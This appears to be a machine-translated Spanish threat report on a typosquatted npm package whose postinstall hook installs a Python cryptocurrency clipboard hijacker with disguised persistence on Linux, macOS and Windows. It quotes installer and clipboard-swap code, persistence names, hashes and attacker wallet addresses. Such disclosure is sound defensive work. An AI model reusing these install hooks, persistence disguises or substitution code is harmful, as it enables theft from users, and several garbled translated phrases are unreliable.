TL; DR
El 21 de mayo de 2026, el editor de npm jaggle Se lanzaron nueve versiones (1.0.0 atravesar 1.0.8 de @jaggle/resizeobserves en un lapso de aproximadamente dos horas.
El paquete es una copia malsonante del legítimo @juggle/resize-observer polyfill, un paquete muy utilizado con millones de descargas semanales, pero que no incluye ninguna implementación real de ResizeObserver.
En cambio, el paquete gancho de postinstalación Instala una carga útil de Python empaquetada, registra la persistencia como un agente de tiempo de ejecución con apariencia nativa de la plataforma y despliega un secuestrador de portapapeles multiplataforma dirigido a transacciones de criptomonedas.
Linux La persistencia aparece como python3-dbus-helper, macOS as com.apple.python.runtime, y Windows as PyRuntimeBroker.
La carga útil monitorea continuamente el portapapeles en busca de direcciones de billetera en más de 40 cadenas de bloques y reemplaza silenciosamente las direcciones copiadas con monederos controlados por el atacante.
El malware opera completamente a nivel local, sin infraestructura de comando y control (C2) externa, lo que convierte la sustitución del portapapeles en el propio mecanismo de exfiltración.
El IOC principal es el nombre del paquete en sí: @jaggle/resizeobserves — observe la vocal omitida en “jaggle” y la “s” añadida en “resizeobserves”.
Gravedad: alta.
El ataque: cómo funciona
npm:@jaggle/resizeobserves No parece malware a simple vista. vista npm. Su README.md es el README textual de npm:@juggle/resize-observer — mismos ejemplos de código, mismas instrucciones de uso, mismo import { ResizeObserver } from '@juggle/resize-observer' Referencias por doquier. El plagio es tan completo que cualquiera que eche un vistazo a la documentación asumiría que está leyendo la documentación del paquete legítimo.
El package.json, por el contrario, es escaso: no repositorio campo, uno solo papelera entrada que apunta a bin/portapapeles-guardian.js, y un postinstalación script que se ejecuta node npm-install.jsLos ejemplos de "Uso básico" del archivo README hacen referencia a una implementación de JavaScript que no existe en ninguna parte del archivo comprimido. El único código JavaScript del paquete es el script de instalación.
Etapa 1: npm postinstall inicializa una carga útil de Python.
npm-install.js es consciente de la plataforma. Localiza una pepita ejecutable a lo largo de una ruta de búsqueda fija (/usr/bin/pip3, /usr/local/bin/pip, volviendo a python3 -m pip), instala el paquete Python incluido desde el directorio tarball y, en Linux, descarga xclip or xsel vía apt-get, pacman, o DNF Si ninguno de los dos está presente:
javascript if (PLATFORM === "linux" && !silent("which xclip") && !silent("which xsel")) { run("apt-get install -y xclip 2>/dev/null") || run("pacman -S --noconfirm xclip 2>/dev/null") || run("dnf install -y xclip 2>/dev/null"); } if ( !run(`${pip} install --quiet --upgrade --break-system-packages "${PKG_DIR}"`) && !run(`${pip} install --quiet --upgrade "${PKG_DIR}"`) ) process.exit(1); El uso de –paquetes-del-sistema-de-ruptura Esto es intencional: las distribuciones modernas de Linux incluyen Python con el marcador de entorno gestionado externamente (PEP 668) habilitado, lo que bloquea las instalaciones de pip en todo el sitio por defecto. El script de instalación fuerza la instalación.
El script también es compatible con sudo. Cuando el uid de ejecución es el resultado de un sudo npm install, el guion dice SUDO_USUARIO y desembolsa para obtener contraseña para encontrar el real directorio principal del usuario, luego escribe sus archivos de persistencia allí en lugar de en / RootLa persistencia es por usuario, no a nivel de sistema.
Etapa 2: Persistencia entre sistemas operativos bajo nombres de intermediarios de tiempo de ejecución
Una vez instalado el paquete de Python, el script registra una entrada de inicio automático con un nombre diferente en cada sistema operativo:
- Linux — una unidad de usuario de systemd en ~/.config/systemd/user/python3-dbus-helper.service. La unidad Mareas Ideales para Lecciones is Asistente de tiempo de ejecución de Python D-BusEl script también intenta habilitarlo a través de systemctl –user enable, recurriendo a un enlace simbólico manual en default.target.wants/ cuando systemctl falla. Si se ejecuta bajo sudo, el script cambia a sudo -u systemctl –usuario, en el que XDG_RUNTIME_DIR configurado para que funcione la llamada al bus de usuario.
- macOS — un archivo plist de LaunchAgent en ~/Library/LaunchAgents/com.apple.python.runtime.plist con RunAtLoad=true y MantenerConVida=verdadero, luego cargado a través de launchctl cargar.
- Windows — una tarea programada llamada PyRuntimeBroker, que se activa al iniciar sesión, con un límite de tiempo de ejecución de cero (es decir, sin tiempo de espera), registrada a través de PowerShell.
Los tres nombres resultan creíbles a primera vista. python3-dbus-helper Sigue la convención de nomenclatura de la integración legítima de Python-D-Bus en equipos de escritorio Linux. com.apple.python.runtime Imita el etiquetado DNS inverso de Apple para sus propios servicios. PyRuntimeBroker se hace eco de Windows RuntimeBroker.exe — un servicio real y firmado de Microsoft que gestiona las solicitudes de permisos para las aplicaciones UWP. Ninguno de estos son servicios reales de Apple/Microsoft/Python en este contexto, sino un defensor que realiza un escaneo visual rápido de systemctl –user lista-unidades or Get-ScheduledTask Es poco probable que se inmute.
Etapa 3: El secuestrador del portapapeles
La carga útil de Python, instalada en clipboard_guardian/guardian.py, ejecuta un bucle infinito que sondea el portapapeles del sistema cada 400 milisegundos. En cada ciclo, obtiene el contenido actual del portapapeles a través de pyperclip.paste() y las compara con una lista de más de cuarenta expresiones regulares precompiladas que cubren formatos de direcciones de billetera para Ethereum, Bitcoin, Monero, Solana, TRON, TON, Ripple, Litecoin, Dogecoin, Polkadot, NEAR, Cosmos, Algorand, Stellar, Cardano, Bitcoin Cash, Dash, Zcash, Aptos, Sui, Tezos, MultiversX, Harmony, Terra, Injective, Osmosis, Kava, Celestia, Nano, Filecoin, Ronin, Ergo, DigiByte, Hedera, BNB Smart Chain y varias otras simuladas pero vacías en la configuración predeterminada (Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin).
Cuando se produce una coincidencia, el script lee la dirección del atacante para esa cadena desde ~/.config/clipboard-guardian/config.json (o sus equivalentes en la plataforma) y sobrescribe el portapapeles con el texto sustituido:
python result = find_address_in_text(current, config) if result is None: time.sleep(POLL_INTERVAL) continue chain, found_addr = result my_addr = config[chain] if found_addr == my_addr: time.sleep(POLL_INTERVAL) continue new_text = replace_address_in_text(current, found_addr, my_addr) clipboard_set(new_text) No hay baliza de red. El programa malicioso no se conecta a su servidor, no registra los hosts infectados ni extrae información. La extracción se realiza mediante la sustitución: cuando un usuario copia la dirección de un destinatario de la interfaz de su billetera y la pega en un cuadro de diálogo de envío, la dirección pegada pertenece al operador. Los fondos se pierden en la transacción, de forma transparente para el usuario.
¿Qué hay de nuevo aquí?
Algunos detalles destacan en comparación con la plantilla genérica de crypto-clipper:
1. Transición de npm a Python. La mayoría de los crypto-clippers que vemos en npm son JavaScript puro, frecuentemente ofuscados con _0x rotación de matriz o evaluar(atob(…)) pilas. Este ejemplo utiliza el tarball de npm como nada más que un envoltorio de entrega para un paquete de Python (Python limpio) y deja que pip gestione la instalación de dependencias (clip de pyper, psutil, Opcional establecerproctítulo) declarado en el paquete pyproject.tomlNo hay ninguna ofuscación de JavaScript que sortear. El propio recortador es Python puro y legible.
2. Etiquetas de persistencia de Tri-OS elegidas por su plausibilidad. Muchos instaladores multiplataforma registran la persistencia bajo nombres genéricos (servicio de actualización, archivo helper.plistEste ejemplo se toma la molestia de elegir etiquetas que se asemejen a los intermediarios de tiempo de ejecución nativos de la plataforma en cada sistema operativo. La nomenclatura es el único intento de sigilo: no hay rootkit, ni ocultamiento del espacio de usuario, ni ofuscación de rutas. La apuesta es que los defensores rara vez auditan ~/.config/systemd/user/ y que un servicio llamado python3-dbus-helper No destacará en una reseña informal.
3. El disfraz del título del proceso es real, pero el antianálisis está latente. La carga útil de Python define un _proceso_de_disfraz() función que establece el título del proceso a través de establecerproctítulo (Linux/macOS) o EstablecerTítuloDeLaConsolaW (Windows) — y principal() Sí, lo llama. Así que ps aux mostrará python3-dbus-helper en lugar de python3 …/guardian.pySin embargo, el mismo módulo define un is_monitor_running() función que enumera las herramientas de monitorización de procesos conocidas (H TOP, btop, Administrador de tareas, Monitor de actividad, Process Hacker, Monitor de recursos, monitores del sistema GNOME / KDE / Xfce / MATE, etc.) — y principal() Nunca se llama a esta función. El bucle de sustitución se ejecuta incondicionalmente, independientemente de si el usuario tiene abierto o no un monitor de procesos. La función es código muerto en la versión distribuida. Probablemente sea un remanente de una iteración anterior o la estructura básica de una función aún no implementada. En cualquier caso, la vulnerabilidad de la carga útil publicada es un cambio de nombre del título del proceso, no una evasión activa del monitor.
4. El comportamiento de config-merge agrupado. npm-install.js escribe la lista de billeteras predeterminadas en ~/.config/clipboard-guardian/config.json y, si ya existe un archivo de configuración, fusiona cualquier clave cuyo valor existente esté vacío. Eso significa que un usuario que haya sido infectado previamente y haya limpiado parcialmente la configuración, por ejemplo, vaciando el archivo de configuración, Etereum El valor se volverá a generar con cada instalación posterior de un paquete malicioso. No se realiza ninguna limpieza del archivo de persistencia en ninguna ruta del código.
| Fecha/Hora (UTC) | Eventos |
|---|---|
2026-05-21 18:50:32 | @jaggle/resizeobserves@1.0.0 publicado. |
2026-05-21 19:55:55 | 1.0.1 Publicada — primera versión marcada por escaneo externo. |
2026-05-21 19:58:10 | 1.0.2 publicado. |
2026-05-21 20:05:03 | 1.0.3 publicado. |
2026-05-21 20:09:24 | 1.0.4 publicado. |
2026-05-21 20:13:48 | 1.0.5 publicado. |
2026-05-21 20:41:52 | 1.0.6 publicado. |
2026-05-21 20:43:56 | 1.0.7 publicado — añade un try/catch envoltorio alrededor del paso de escritura de wallet-config en npm-install.js. |
2026-05-21 20:46:15 | 1.0.8 publicado — instalador renombrado npm-install.js → npm-install.cjs (contenido idéntico byte a byte). |
2026-05-22 | Veredictos y COI publicados. Las versiones siguen disponibles en el registro en el momento de la publicación (actualizado). |
Nueve versiones en una hora y cincuenta y seis minutos es rápido incluso para un typosquat. El patrón es consistente con un campaña de publicación y quema — inundar el registro con un identificador, dejar que la detección siga su curso y pasar a un identificador nuevo una vez que se elimine una sola versión. Los deltas visibles a lo largo de la ejecución son cosméticos: 1.0.1 agregó explícitamente /usr/bin/pip3-rutas de estilo a la lista de búsqueda de pip (sudo-compatibilidad), 1.0.7 envolvió la escritura de wallet-config en un try/catch y 1.0.8 cambió el nombre del instalador de . Js a .cjs manteniendo su contenido idéntico byte a byte. El .cjs renombrar pistas con advertencias de npm sobre resolución de módulos ambigua en paquetes sin una resolución explícita "escribe" campo, y puede ser un intento de suprimir el ruido durante la instalación que podría llamar la atención. La carga útil de Python —la única parte que realmente roba— no ha cambiado en las nueve versiones.
Indicadores de compromiso
Paquetes
| Ecosistema | PREMIUM | Source-Connect | Estado |
|---|---|---|---|
| npm | @jaggle/resizeobserves | 1.0.0 atravesar 1.0.8 | Disponible en el momento de la publicación; se ha solicitado su retirada. |
Archivos y hashes
| Path | Notas |
|---|---|
clipboard_guardian/guardian.py(md5 f7935c2c82bc881288611ab6cd634f17) | Idéntico en las nueve versiones publicadas (1.0.0 atravesar 1.0.8). La carga útil del clipper. |
npm-install.js (1.0.0 – 1.0.7)npm-install.cjs (1.0.8) | Instalador persistente; mismo comportamiento de extremo a extremo. 1.0.7's .js y 1.0.8's .cjs son idénticos byte a byte. |
~/.config/clipboard-guardian/config.json | Configuración de persistencia para Linux y paquete de billetera. |
~/Library/Application Support/clipboard-guardian/config.json | Configuración de persistencia de macOS y paquete de billetera. |
%APPDATA%\clipboard-guardian\config.json | Configuración de persistencia de Windows y paquete de billetera. |
~/.config/systemd/user/python3-dbus-helper.service | Persistencia de inicio automático en Linux. |
~/Library/LaunchAgents/com.apple.python.runtime.plist | Persistencia de LaunchAgent en macOS. |
~/Library/Logs/com.apple.python.runtime.log | Registro de salida estándar/error estándar de macOS para el agente. |
Scheduled Task PyRuntimeBroker | Tarea de inicio automático de Windows (AtLogOn, sin tiempo de espera). |
Indicadores de comportamiento
| Signal | Mareas Ideales para Lecciones |
|---|---|
pip install --break-system-packages desde npm postinstall | Obliga a instalar Python en todo el sitio, eludiendo las protecciones de PEP 668. |
apt-get install -y xclip (o Pac-Man/DNF) | Instala utilidades del portapapeles en Linux durante la instalación del paquete. |
python3-dbus-helper.service unidad de usuario systemd | La persistencia se registró bajo un nombre de runtime-helper que parece plausible. |
com.apple.python.runtime Agente de lanzamiento | Etiqueta de persistencia fuera de las rutas legítimas del sistema Apple. |
PyRuntimeBroker Tarea programada | Persistencia falsa del agente de tiempo de ejecución de Windows sin una fuente de instalación legítima. |
Proceso de Python titulado python3-dbus-helper importador pyperclip y psutil | Discrepancia de comportamiento entre el nombre del proceso mostrado y las bibliotecas importadas. |
| Los cambios en el portapapeles ocurren aproximadamente 0.4 segundos después de copiar la dirección de la billetera. | Comportamiento característico de la sustitución de direcciones de criptomonedas. |
Paquete de carteras del atacante (lista de búsqueda del defensor)
La lista de billeteras viene codificada de forma fija en npm-install.js y clipboard_guardian/guardian.pyLos defensores pueden usar la lista tanto como lista de bloqueo (considerar sospechosa cualquier transferencia a estas direcciones desde monederos corporativos) como clave de búsqueda (considerar la presencia de cualquiera de estas cadenas en un archivo de configuración no autenticado, un artefacto de compilación o una máquina de desarrollador como un indicador de infección).
Paquete de billetera de atacante
| Transmisión | Dirección |
|---|---|
| Ethereum / BSC | 0x450c0E58Fc2ba03632d3F5780ad8C966648B6F18 |
| Ronin (EVM) | ronin:450c0E58Fc2ba03632d3F5780ad8C966648B6F18 |
| Bitcoin | bc1qs2mpls4p0f7fng073gy2rcdgjpf7la4eugpt6y |
| Bitcoin Cash | bitcoincash:qqmvyxxklzp7l3eslxavhc8phl6hprdf25lwc29nlt |
| Litecoin | ltc1qnefc8x59a9cwtqnflt8hmqvezqw4hc7lt3fkqe |
| dogecoin | DNEJmYRZtzyK44tZea4S7wV3otTyRk48Fy |
| Dash | XtJ7E6mnhPK93Vib29PGQrTmQjhTTqFwbS |
| Zcash | t1d4hcEnBjdh9X6Wb6R2dxqjnxddJ6ocP8M |
| DigiByte | DPmH2dhiGK3hk3A69tZUMz6tHzGFHBzSrH |
| monero | 42zhAidVhP7QETk83JAspS59ASALSHFio44vmu6MdDCz15cSqtqsG4QVyzY8vTrjGrTEA6zMbWW6Yft1Ynz1xLfCN5FVbXf |
| Solana | DWBAmQLi9gP6mk7UfJfQGYTV1UPK32WekLTqg83q1mc5 |
| TRON | TVgEgMemmJABYYnbNr1Wi8bSgADEkdEBt2 |
| TON | UQDTSkvwmptU9eG988KgxS3WjnYAZlXgfpJxnz4mhWZAvULr |
| Ripple | r9tj3cMCiqRijNYqNVYNuwKykkQfS8FE4H |
| Lunares | 1JSkYqXQE4d28HdcmTPhbgCrdiPFTfSHxD67tam16p53oBG |
| NEAR | 5d6aec44551529e8cd9ebd3aaa84b3832fc3c7463596b2b6e72635b80096a364 |
| cosmos | cosmos1pzfl3kv5g8g0ernj86rwpar08u2zl9suthx28e |
| Ósmosis | osmo1pzfl3kv5g8g0ernj86rwpar08u2zl9surv463t |
| Celestia | celestia1pzfl3kv5g8g0ernj86rwpar08u2zl9su6ah6a5 |
| Inyectiva | inj1g5xquk8u9wsrvvkn74uq4kxfvejgkmccn578gh |
| Kava | kava1kjfvgcz4q0y9yae2f3pa33vhj2estxxj3sqqux |
| Harmony | one19hn0n7dzkhtl9ta9ekv5592s85jwstpka76t3a |
| Terra | terra1h0dwu8z405jagdlr0fgr9jllac2sxajzlgme5x |
| Algorand | XSAMN3FTB5SUHUQFENBDDRXIMOPNFVLKAWA3RNOU54DWROMDZ6SR7DZ2PI |
| Stellar | GACNZSV4EQO65NZZUOBS3TMJM7GFTSRNKQBVJOX5P2G7U7SEBQ2ZUDJE |
| Cardano | addr1qyj050vla4cglmyrgm4vzf3dxtn0gynpks4t7vp7s3lg49e9wt0s94hcztzdgecxcz5hu9uk56q60yth6d66w026s2kq3ma56f |
| MultiversosX | erd1slvlgqsmwzk0c8xtksm4eq5vdfnc26slpzqsyxhz456zvme5rpasue6ge0 |
| Aptos | 0x580ecda1ebd6ca5a46be2097568d013308bd54ef1d147acb880b59f7709f280e |
| En | 0xf7e8a9a970fa65c058745c4b2cf2a856cc0283863e4ed1e142648f26097b0c78 |
| Nano | nano_393n56a5pfz8zg3nkzf7mytfgagzhu5mn9i3xiqg54weq8n1u8jgezxas7dn |
| Filecoin | f1fypyww3xubopfnv7q6yh5l4bko44wmfktf3ckui |
| Tezos | tz1RccjnorHk61bt73ArLXcdgFjEj6T1ochk |
| Ergo | 9g1pNQGnFg7Hk1d9Z66bgHMkguGU7R41btypAnbG1NF5FJoNdBA |
| Hedera | 0.0.10488092 |
Las cadenas con cobertura de expresiones regulares pero con ranuras de billetera vacías en la configuración predeterminada (Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin, Beacon-Chain BNB) no se sustituyen activamente en esta compilación, pero se detectan. Trátelas como un ámbito de monitorización, no de sustitución.
Atribución y motivación
La campaña ofrece una superficie de atribución limitada. No hemos podido confirmar la identidad del operador. Lo que sí podemos registrar:
- Metadatos del editor. La cuenta npm dentado enumera su correo electrónico como olgascarlet@deltajohnsons.comEl dominio deltajohnsons.com no se resuelve a una identidad corporativa que podamos verificar. La cuenta npm no muestra verificación de correo electrónico y no SCM Verificación. No existe una presencia pública asociada en GitHub.
- Campo del repositorio. El package.json no lleva repositorio campo. El legítimo npm:@juggle/resize-observer Se muestra un repositorio real de GitHub con miles de estrellas y problemas activos. La ausencia de un enlace al repositorio es la señal visual más rápida en la interfaz de usuario de npm.
- LÉAME plagio. El archivo README del paquete es legítimo. @juggle/resize-observer README byte por byte, incluyendo importar ejemplos que hacen referencia @juggle/resize-observer El archivo en sí (no el paquete de publicación). El operador ni siquiera se molestó en reescribir las importaciones, una señal común de que el archivo readme se copió, no se adaptó.
- No hay infraestructura sobre la que basarse. No hay un punto final C2, ni búsqueda DNS, ni dirección IP. El comportamiento malicioso está completamente encapsulado en el clipper local, además del paquete de billetera codificado. Esto imposibilita el pivoteo basado en dominio o ASN. Los defensores que pivotan entre campañas deben cotejar el hash de las billeteras con cualquier clipper anterior que tengan registrado; la reutilización de una billetera en diferentes paquetes es el vínculo entre campañas más fácil de rastrear.
- Elección de nombre. @jaggle/resizeobserves está a un carácter de distancia de @hacer juegos malabares y una inflexión que se desvía de la conocida redimensionar-observadorLa distancia de edición combinada es de dos glifos. Se trata de una colisión visual deliberada, no de una simple oclusión.
La motivación, basada en el comportamiento de la carga útil, es la monetización pura mediante la sustitución oportunista del portapapeles. No hay recolección de credenciales, ni identificación del host, ni lectura de variables de entorno. Al operador no le importa quién sea la víctima; le importa que su próxima transferencia apunte a una de las direcciones listadas. La cobertura de cuarenta cadenas es un modelo de lotería en acción: lanzar un ataque amplio, con la esperanza de que un único mensaje de alto valor se reproduzca una vez por cada N instalaciones.
El operador parece no preocuparse por la eliminación. Publicar nueve versiones en dos horas bajo el mismo alcance se interpreta como una estrategia de publicación y quema: maximizar la huella del registro antes de que la latencia de eliminación se ponga al día, y luego seguir adelante. No hemos observado @jaggle republicación bajo un nuevo alcance en el momento de escribir esto, pero esperaríamos alcances similares (@jaggie, @hacer juegos malabares-, @traqueo) aparecerá en los próximos días si el operador sigue activo.
Impacto, tendencias y qué deben hacer los defensores
Generar impacto
Cuantificar el impacto en dinero real no es posible con el conjunto de datos actual. El recortador no escribe telemetría y aún no se ha observado que las billeteras reciban transferencias sustituidas a la fecha de corte del análisis (tenemos previsto realizar un análisis posterior de las cadenas listadas). El legítimo npm:@juggle/resize-observer registra un promedio de descargas semanales que superan con creces el millón de descargas —un objetivo de typosquat de alto tráfico— y el paquete malicioso estuvo activo durante menos de 24 horas en el momento de su divulgación, lo que limita la población expuesta, pero no la elimina por completo.
El radio de explosión que vale la pena rastrear no son descargas directas de @jaggle/resizeobserves — es probable que sean pequeños. Se trata de **instalaciones transitivas**: un desarrollador agrega el paquete a un proyecto de entorno aislado, ejecutando npm instalary luego olvidando que el gancho de instalación se ejecutó alguna vez. Cada máquina que procesó la postinstalación ahora tiene un secuestrador de portapapeles por usuario en el inicio automático, independientemente de si el proyecto todavía está en el disco. Eliminar el directorio del paquete de nodo_módulos **no** elimina la persistencia.
Patrones emergentes
Esta campaña ejemplifica dos tendencias.
npm como envoltorio para la entrega de cargas útiles de Python. El archivo tarball de npm es un instalador de 4 líneas; el verdadero ladrón es Python, instalado en todo el sistema por pepita del directorio empaquetado. Esto no es nuevo —ya hemos visto paquetes npm dejar de usar Python— pero se está convirtiendo en una forma cada vez más común en las campañas de crypto-clipper. La ventaja para el operador es doble: bibliotecas de portapapeles de Python (clip de pyper (entre ellos, los primeros) son más limpios y multiplataforma que sus equivalentes en JavaScript, y La mayoría de los escáneres npm automatizados dan mucha importancia a los archivos JavaScript y Python. py paquetes ligeros. El costo es que la huella de instalación es mucho más ruidosa, una nueva instalación de pip es difícil de ocultar en una máquina de desarrollador que normalmente no instalación de pip during npm instalar.
Nombres nativos de la plataforma como único sigilo. Varios programas recientes de recorte de código y robo de pequeñas cargas útiles han abandonado por completo la ofuscación a nivel de código en favor de etiquetas de persistencia de apariencia legítima. python3-dbus-helper, com.apple.python.runtime, y PyRuntimeBroker Son ejemplos clásicos: nombres que un defensor pasaría por alto en una lista de cuarenta servicios de usuario. Se trata de una forma de sigilo económica y duradera: la eliminación se realiza por paquete, pero los archivos persistentes sobreviven a la eliminación, y un servicio que lleva el nombre de un componente de plataforma de apariencia real solo se eliminará mediante una auditoría explícita.
Qué deben hacer los defensores
- Auditar ~/.config/systemd/user/, ~/Library/LaunchAgents/ y Get-ScheduledTask salida en las máquinas de los desarrolladores para las entradas listadas en los IOC. Eliminar el paquete npm las deja en su lugar; deben eliminarse manualmente.
- Transferencias de bloques a las direcciones de monedero indicadas en los límites de la tesorería corporativa y las billeteras DeFi donde está disponible la lista de direcciones permitidas.
- Busque ~/.config/clipboard-guardian/config.json (y sus equivalentes en la plataforma) en todo el conjunto de máquinas de los desarrolladores. La presencia del archivo indica una infección con alta probabilidad, independientemente de la versión del paquete que lo haya distribuido.
- Busque en node_modules/ el archivo clipboard_guardian/guardian.py en instantáneas de caché de compilación que pueden ser anteriores a la eliminación. El md5 del archivo es estable en todas las versiones revisadas.
- Pin de archivo de bloqueo @juggle/resize-observer (el paquete legítimo) para que las futuras instalaciones no puedan resolverse a otra cosa bajo un error tipográfico de un solo carácter, especialmente en flujos de trabajo sin archivo de bloqueo como npx.
- Trate cualquier postinstall de npm que invoque pip install como de alta gravedad en construcción-pipeline Política. No hay ninguna razón legítima para que un paquete npm necesite pip en el momento de la instalación: las herramientas de Python distribuyen herramientas de Python.
- Buscar datos de monitorización comparables a process_iter() para procesos llamados python3-dbus-helper que importen pyperclip — La discrepancia en el disfraz (un asistente de D-Bus que contiene una biblioteca del portapapeles) es el indicador de comportamiento más claro que tenemos.
- Gire las direcciones de billetera copiadas de máquinas infectadas. Un programa malicioso que secuestra el portapapeles compromete la comunicación entre la interfaz de usuario de una billetera y el destino donde se copia el contenido; las direcciones copiadas durante la infección pueden modificarse silenciosamente. Todo lo que se envíe durante el período de infección debe considerarse como un posible intento de envío erróneo.
La conclusión: la persistencia sobrevive a la eliminación. El registro eventualmente lo eliminará. @jaggle/resizeobserves En las nueve versiones, la unidad systemd, el LaunchAgent y la tarea programada no se eliminarán automáticamente.
Referencias
- @juggle/resize-observer en npm — el paquete legítimo que este typosquat suplanta; útil como base para el plagio byte a byte del README.
- @jaggle/resizeobserves metadatos del registro — Publicar las marcas de tiempo de las nueve versiones maliciosas, lo cual resulta útil para la elaboración de cronogramas forenses.






